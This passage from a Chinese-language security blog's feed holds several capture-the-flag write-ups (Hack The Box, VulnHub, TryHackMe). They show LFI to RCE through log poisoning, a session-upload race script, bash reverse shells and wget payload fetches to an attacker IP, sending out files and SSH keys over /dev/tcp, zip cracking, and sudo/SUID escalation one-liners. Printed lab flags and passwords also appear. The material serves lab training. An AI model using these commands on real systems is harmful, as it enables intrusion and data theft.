&lt;li&gt;&lt;code&gt;ln -s /home/luis/.ssh/id_rsa id_rsa&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/695c5-oCEWQAk.png"&gt;等待 30 秒產出新的備份檔案- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4b405-GNIk1o8.png"&gt;&lt;/li&gt;
&lt;li&gt;用 nc 帶回家&lt;code&gt;nc -l -p 1234 &amp;gt; backup.gz&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat backup-2021-08-14-10:21:33.gz &amp;gt; /dev/tcp/10.10.16.5/1234&lt;/code&gt;發現真的有 &lt;code&gt;id_rsa&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f0d21-L8tbcv2.png"&gt;&lt;/li&gt;
&lt;li&gt;是 OpenSSH 的 private key&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a217f-owMnNYr.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="使用者提權"&gt;使用者提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 SSH 登入&lt;code&gt;ssh luis@seal.htb -i id_rsa&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/863d2-ZsYnY63.png"&gt;取得 User Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2af32-dp9qz6j.png"&gt;&lt;code&gt;sudo -l&lt;/code&gt; 提權起手式- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8d636-QfBwQMZ.png"&gt;&lt;/li&gt;
&lt;li&gt;發現可以使用 ansible-playbookGTFOBins 搜尋- 找到了 ansible-playbook 提權方法https://gtfobins.github.io/gtfobins/ansible-playbook/#sudo&lt;code&gt;TF=$(mktemp)``echo '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2&amp;gt;/dev/tty]}]' &amp;gt;$TF``sudo ansible-playbook $TF&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6b9bc-W8tUtIO.png"&gt;取得 Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/39bab-ku1ddc6.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b4890611a188410400d56e578f30979e&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="心得"&gt;心得&lt;/h2&gt;
&lt;p&gt;對於湯姆貓還是有一點陌生QQ，包含傳 jsp webshell 等部分，還有目錄截斷之類的也要多研究一下，這一題我覺得除了通靈 id_rsa 之外，整體來講題目滿好玩的！&lt;/p&gt;</description></item><item><title>Corrosion (VulnHub Writeup)</title><link>http://blog.stevenyu.tw/2021/08/14/corrosion-vulnhub-writeup/</link><pubDate>Sat, 14 Aug 2021 23:19:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/14/corrosion-vulnhub-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://www.vulnhub.com/entry/corrosion-1,730/"&gt;https://www.vulnhub.com/entry/corrosion-1,730/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 35.229.145.176&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;code&gt;rustscan -a 35.229.145.176 -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a528d-Wo4QJYS.png"&gt;&lt;code&gt;nmap -A -p80,22 35.229.145.176&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4a112-5c5j1F1.png"&gt;掃路徑- &lt;code&gt;python3 dirsearch.py -u 35.229.145.176&lt;/code&gt;只掃到 &lt;code&gt;/tasks/&lt;/code&gt;裡面有一個 todo list&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2b83a-oOy5dSC.png"&gt;換不同的 dict- &lt;code&gt;python3 dirsearch.py -u http://35.229.145.176/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt&lt;/code&gt;掃到 &lt;code&gt;/blog-post&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/80755-4sZ5IqG.png"&gt;&lt;/li&gt;
&lt;li&gt;http://35.229.145.176/blog-post/繼續掃- &lt;code&gt;python3 dirsearch.py -u http://35.229.145.176/blog-post/&lt;/code&gt;找到 archives&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9f4bd-fmPKUZx.png"&gt;&lt;/li&gt;
&lt;li&gt;裡面有一個 php&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5256f-2iwQc9I.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="lfi-2-rce"&gt;LFI 2 RCE&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;通靈到可以用 &lt;code&gt;?file&lt;/code&gt; 來做 LFIhttp://35.229.145.176/blog-post/archives/randylogs.php?file=php://filter/convert.base64-encode/resource=randylogs.php&lt;code&gt;PD9waHAKICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOwogICBpZihpc3NldCgkZmlsZSkpCiAgIHsKICAgICAgIGluY2x1ZGUoIiRmaWxlIik7CiAgIH0KICAgZWxzZQogICB7CiAgICAgICBpbmNsdWRlKCJpbmRleC5waHAiKTsKICAgfQogICA/Pgo=``php &lt;/code&gt;http://35.229.145.176/blog-post/archives/randylogs.php?file=../../../../../../../etc/passwd- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7c3d7-R4eyfsj.png"&gt;根據題目提示說 &lt;code&gt;auth.log&lt;/code&gt; 沒關- http://35.229.145.176/blog-post/archives/randylogs.php?file=../../../../../../../var/log/auth.log&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/533f2-ZZs7AiW.png"&gt;&lt;code&gt;auth.log&lt;/code&gt; 會把 ssh 登入的帳號給紀錄- &lt;code&gt;ssh 'meow@35.229.145.176'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c4d61-dQTQax3.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f4096-FORTuYq.png"&gt;寫 phpinfo- &lt;code&gt;ssh '@35.229.145.176'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9ff64-R6Oj5ji.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/61930-h0DYbcB.png"&gt;寫 shell- &lt;code&gt;ssh '@35.229.145.176'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b4a6b-9QroaCb.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://35.229.145.176/blog-post/archives/randylogs.php?file=../../../../../../../var/log/auth.log&amp;amp;A=id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5ed17-2yF8Lz0.png"&gt;戳 reverse shell- &lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/35.201.246.140/7877 0&amp;gt;&amp;amp;1'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wget 35.201.246.140:8000/s&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;http://35.229.145.176/blog-post/archives/randylogs.php?file=../../../../../../../var/log/auth.log&amp;amp;A=wget%2035.201.246.140:8000/s -O /tmp/s&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/de1f9-2xSNqry.png"&gt;&lt;/li&gt;
&lt;li&gt;http://35.229.145.176/blog-post/archives/randylogs.php?file=../../../../../../../var/log/auth.log&amp;amp;A=bash /tmp/s&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f2820-V2XrGag.png"&gt;補充，喵策會解法，LFI 無限制 RCE (PHP_SESSION_UPLOAD_PROGRESS)&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import grequests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sess_name &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;meowmeow&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sess_path &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; f&lt;span style="color:#f1fa8c"&gt;&amp;#39;/var/lib/php/sessions/sess_{sess_name}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;base_url &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;http://35.229.145.176/blog-post/archives/randylogs.php&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;param &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;file&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# code = &amp;#34;file_put_contents(&amp;#39;/tmp/shell.php&amp;#39;,&amp;#39;&amp;amp; /dev/tcp/{domain}/{port} 0&amp;gt;&amp;amp;1&amp;#39;&amp;#34;);&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;while&lt;/span&gt; True:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; req &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; [grequests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;post(base_url,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; files&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;{&lt;span style="color:#f1fa8c"&gt;&amp;#39;f&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;A&amp;#34;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;*&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;0xffff&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; data&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;{&lt;span style="color:#f1fa8c"&gt;&amp;#39;PHP_SESSION_UPLOAD_PROGRESS&amp;#39;&lt;/span&gt;: f&lt;span style="color:#f1fa8c"&gt;&amp;#34;pwned:&amp;#34;&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cookies&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;{&lt;span style="color:#f1fa8c"&gt;&amp;#39;PHPSESSID&amp;#39;&lt;/span&gt;: sess_name}),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; grequests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;get(f&lt;span style="color:#f1fa8c"&gt;&amp;#34;{base_url}?{param}={sess_path}&amp;#34;&lt;/span&gt;)]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; grequests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;map(req)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;pwned&amp;#34;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; result[&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;]&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(result[&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;]&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="進入-shell"&gt;進入 Shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;直接 sudo -l 嘗試提權&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d14a5-v856hnz.png"&gt;&lt;/li&gt;
&lt;li&gt;需要密碼準備 LinEnum- &lt;code&gt;wget 35.201.246.140:8000/LinEnum.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/95ea9-d0rOVig.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/aea06-NyhfvRT.png"&gt;找到一個可疑檔案有 SGID- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/aa030-NYy5aQ8.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4e5a4-PjBtD0H.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/da0b7-aLBAm1b.png"&gt;傳出可疑檔案分析- 本機 &lt;code&gt;nc -l -p 1234 &amp;gt; write.ul&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;靶機 &lt;code&gt;cat /usr/bin/write.ul &amp;gt; /dev/tcp/35.201.246.140/1234&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bdaf1-WoDsBaW.png"&gt;用 IDA 觀察- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/378c9-HTQsyCy.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來不像是需要逆的東西 QQ&lt;/li&gt;
&lt;li&gt;再繼續觀察準備 Linpeas- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b04db-xczbBqr.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1f6f0-Kj5SEXW.png"&gt;找到備份檔案- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/92b07-6RuyyKX.png"&gt;&lt;/li&gt;
&lt;li&gt;裡面有密碼&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/60477-oGU2Pig.png"&gt;傳出來- &lt;code&gt;cat user_backup.zip &amp;gt; /dev/tcp/35.201.246.140/1234&lt;/code&gt;用約翰爆破 zip- &lt;code&gt;zip2john user_backup.zip &amp;gt; j&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;john j --wordlist=/opt/rockyou.txt&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/39487-lGqxlAl.png"&gt;&lt;/li&gt;
&lt;li&gt;取得密碼為 &lt;code&gt;!randybaby&lt;/code&gt;解壓縮，取得密碼- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/57807-V6uLlD0.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4bffe-5fcJmBT.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;randylovesgoldfish1998&lt;/code&gt;透過 ssh 登入- 帳號 &lt;code&gt;randy&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密碼 ``randylovesgoldfish1998`取得 userflag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a1981-mU3HKnB.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二次提權"&gt;二次提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudo -l&lt;/code&gt; 起手式&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a2883-ErcO50H.png"&gt;&lt;/li&gt;
&lt;li&gt;觀察先前壓縮檔中的程式&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1923c-OkOjUSq.png"&gt;&lt;/li&gt;
&lt;li&gt;因為他是 sudo 所以無法做 path 的汙染QQ觀察檔案權限- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/202a6-FTG4wPy.png"&gt;&lt;/li&gt;
&lt;li&gt;發現他有 suid，所以不用sudo就可以用 PATH 汙染 &lt;code&gt;cat&lt;/code&gt; 了!&lt;code&gt;echo &amp;quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/35.201.246.140/7878 0&amp;gt;&amp;amp;1'&amp;quot; &amp;gt; cat``chmod +x cat``PATH=/home/randy/fakepath:$PATH /home/randy/tools/easysysinfo&lt;/code&gt;收 reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/362b2-gDvDTRs.png"&gt;取得 root flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2d044-VArwk2F.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="心得"&gt;心得&lt;/h2&gt;
&lt;p&gt;學到了喵策會的 LFI 大絕招 ； 除了 sudo 外還要在意 SUID，看樣子常常忘東忘西可能要來準備 Check list 了QQ&lt;/p&gt;</description></item><item><title>Cap (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/08/14/cap-hack-the-box-writeup/</link><pubDate>Sat, 14 Aug 2021 13:50:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/14/cap-hack-the-box-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/351"&gt;https://app.hackthebox.eu/machines/351&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.10.245&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;剛開始先掃 Port&lt;code&gt;rustscan -a 10.10.10.245 -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b48a4-4gU7VjE.png"&gt;&lt;code&gt;nmap -A -p21,22,80 10.10.10.245&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a9da1-X9G4Ex0.png"&gt;觀察有開的 port- 22&lt;/li&gt;
&lt;li&gt;21 : vsFTPd 3.0.3&lt;/li&gt;
&lt;li&gt;80掃路徑- &lt;code&gt;python3 dirsearch.py -u http://10.10.10.245/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c12c2-VMXpQXN.png"&gt;&lt;/li&gt;
&lt;li&gt;基本上都還是跳轉回首頁，沒什麼 QQ觀察首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bee5c-CEJGwJX.png"&gt;觀察下載的 &lt;code&gt;/data&lt;/code&gt; 發現預設是從 2 開始- 嘗試改 &lt;code&gt;1&lt;/code&gt; 會出現空白&lt;/li&gt;
&lt;li&gt;嘗試改 &lt;code&gt;0&lt;/code&gt;http://10.10.10.245/data/0&lt;/li&gt;
&lt;li&gt;可以下載到一包 pcap 檔案分析 pcap 檔案- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6d038-zTczoQL.png"&gt;&lt;/li&gt;
&lt;li&gt;可以找到 ftp 的登入帳密&lt;code&gt;nathan&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Buck3tH4TF0RM3!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="進入系統"&gt;進入系統&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;直接 ssh 連上&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b4e6f-df5oKQ6.png"&gt;取得 user flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c5591-0csJWzg.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;準備 LinEnum&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/27d2e-l2wJjWi.png"&gt;執行 LinEnum- &lt;code&gt;bash LinEnum.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/efbef-L9Nzc9m.png"&gt;發現 python3 有 capability- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bdd3c-T9C0VOz.png"&gt;GTFOBins 尋找 Py capability 解法- &lt;a href="https://gtfobins.github.io/gtfobins/python/#capabilities"&gt;https://gtfobins.github.io/gtfobins/python/#capabilities&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system(&amp;quot;/bin/sh&amp;quot;)'&lt;/code&gt;取得 Root Shell 與 Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4b579-Hq1HAFS.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Bounty Hunter (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/08/13/bounty-hunter-hack-the-box-writeup/</link><pubDate>Fri, 13 Aug 2021 13:42:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/13/bounty-hunter-hack-the-box-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/359"&gt;https://app.hackthebox.eu/machines/359&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.11.100&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;凡事都從掃 Port 開始&lt;code&gt;rustscan -a 10.10.11.100 -r 1-65535&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/efea2-aIXlags.png"&gt;有開 22 80 port掃路徑- &lt;code&gt;python3 dirsearch.py -u http://10.10.11.100/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發現有一個 &lt;code&gt;/db.php&lt;/code&gt;進去是空白的還有一個 &lt;code&gt;/resources/&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/78936-QYLtVYA.png"&gt;&lt;/li&gt;
&lt;li&gt;其中 &lt;code&gt;README.txt&lt;/code&gt; 裡面有一些小線索&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ab6a5-tCmklpN.png"&gt;發現發送表單頁面有 XXE 漏洞- 直接用 js 在 F12 Console 發&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;async&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;function&lt;/span&gt; bountySubmit() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;var&lt;/span&gt; xml &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; ]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; &amp;amp;b;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; 456
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; meow
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; 321
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; `&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;let&lt;/span&gt; data &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;await&lt;/span&gt; returnSecret(btoa(xml));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $(&lt;span style="color:#f1fa8c"&gt;&amp;#34;#return&amp;#34;&lt;/span&gt;).html(data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;catch&lt;/span&gt;(error) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log(&lt;span style="color:#f1fa8c"&gt;&amp;#39;Error:&amp;#39;&lt;/span&gt;, error);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bountySubmit()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f41c7-U1evpQI.png"&gt;&lt;/p&gt;</description></item><item><title>Anonymous (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/11/anonymous-try-hack-me-writeup/</link><pubDate>Wed, 11 Aug 2021 23:46:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/11/anonymous-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/anonymous"&gt;https://tryhackme.com/room/anonymous&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.142.45&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port 起手式&lt;code&gt;rustscan -a 10.10.142.45 -r 1-65535 --ulimit 5000&lt;/code&gt;22&lt;/li&gt;
&lt;li&gt;21&lt;/li&gt;
&lt;li&gt;139&lt;/li&gt;
&lt;li&gt;445&lt;code&gt;nmap -A -p21,22,139,445 10.10.142.45&lt;/code&gt;- 21 : FTPVSFTPD 2.0.822 : SSH139: SMB445: SMB&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2f21a-2TM1uMz.png"&gt;嘗試連接 ftp- &lt;code&gt;ftp 10.10.142.45&lt;/code&gt; 使用 anonymous 登入&lt;/li&gt;
